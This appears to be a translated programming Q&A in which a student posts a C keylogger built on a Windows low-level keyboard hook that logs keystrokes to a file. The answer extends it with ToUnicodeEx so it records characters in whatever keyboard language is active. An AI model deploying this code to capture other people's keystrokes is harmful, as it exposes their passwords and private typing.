c - Windows Hook 保存语言字符
问题描述
好吧,我有一个简单的程序可以保存按键。但它仅适用于英文键盘。它无法检测到任何其他键盘,例如我的斯洛伐克语。单词“škola”被保存为“3kola”。因为“3”和“š”是键盘上的同一个按钮。
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (kbdStruct.vkCode != 0);
{
switch (kbdStruct.vkCode)
{
case VK_ESCAPE:
fprintf(LOG, "[ESC]");
break;
default:
fprintf(LOG, "%c", kbdStruct.vkCode);
break;
}
fflush(LOG);
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}
void main()
{
LOG = fopen("log.txt", "a+" );
SetHook();
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
fclose(LOG);
}
我想要做的是保存当前本地语言的字符。例如。我用斯洛伐克语“žiak”写了一个词,然后我将本地更改为英语,然后用英语写了一些东西,然后用捷克语写了一些东西。我该如何做到这一点,用户输入将始终使用本地语言字符保存。(是的,它的键盘记录器,但这是在学校学习 C 的有趣方式,我们确实做了一些循环和写入文本文件,这是我所知道的一切:/)我发现了一些关于 wm_char 的东西可以解决我的问题,但我不知道如何用它。
解决方案
如果要保留低级键盘挂钩,而不是使用消息挂钩,则必须将挂钩函数中收到的键代码和键盘状态转换为基于当前语言环境的 UTF8 字符串:
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (kbdStruct.vkCode != 0)
{
switch (kbdStruct.vkCode)
{
case VK_ESCAPE:
fprintf(LOG, "[ESC]");
break;
default:
unsigned char keyboardState[256];
for (int i = 0; i < 256; ++i)
keyboardState[i] = static_cast<unsigned char>(GetKeyState(i));
wchar_t wbuffer[3] = { 0 };
int result = ToUnicodeEx(
kbdStruct.vkCode,
kbdStruct.scanCode,
keyboardState,
wbuffer,
sizeof(wbuffer) / sizeof(wchar_t),
0,
GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
if (result > 0)
{
char buffer[5] = { 0 };
WideCharToMultiByte(CP_UTF8, 0, wbuffer, 1, buffer, sizeof(buffer) / sizeof(char), 0, 0);
fprintf(LOG, "%s", buffer);
}
break;
}
fflush(LOG);
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
ToUnicodeEx
是执行翻译的函数。除了键码之外,它还需要键盘状态,因为修饰键可能会改变字符。
推荐阅读
- c - C 数据库中的通用查找函数
- python-3.x - 仅使用 print 以最少的输入来调试 python
- sql - 使用导入本地文件时创建的表名无效
- java - Android Java 从后台线程中的异步任务返回结果
- reactjs - 是否可以将嵌套查询字符串与反应路由器一起使用?如果是这样,我将如何设置它?
- rust - 什么时候应该使用智能指针?
- xslt-1.0 - 如何使用 XSLT 1.0 合并 XML 文件中的两个节点
- reactjs - 如何通过 forEach 循环中的属性过滤 Typescript 中的对象数组并返回带有道具的组件?
- html - 从同级元素中打开选择选项
- python - 如何通过将一列中的数据添加到一行来制作表格?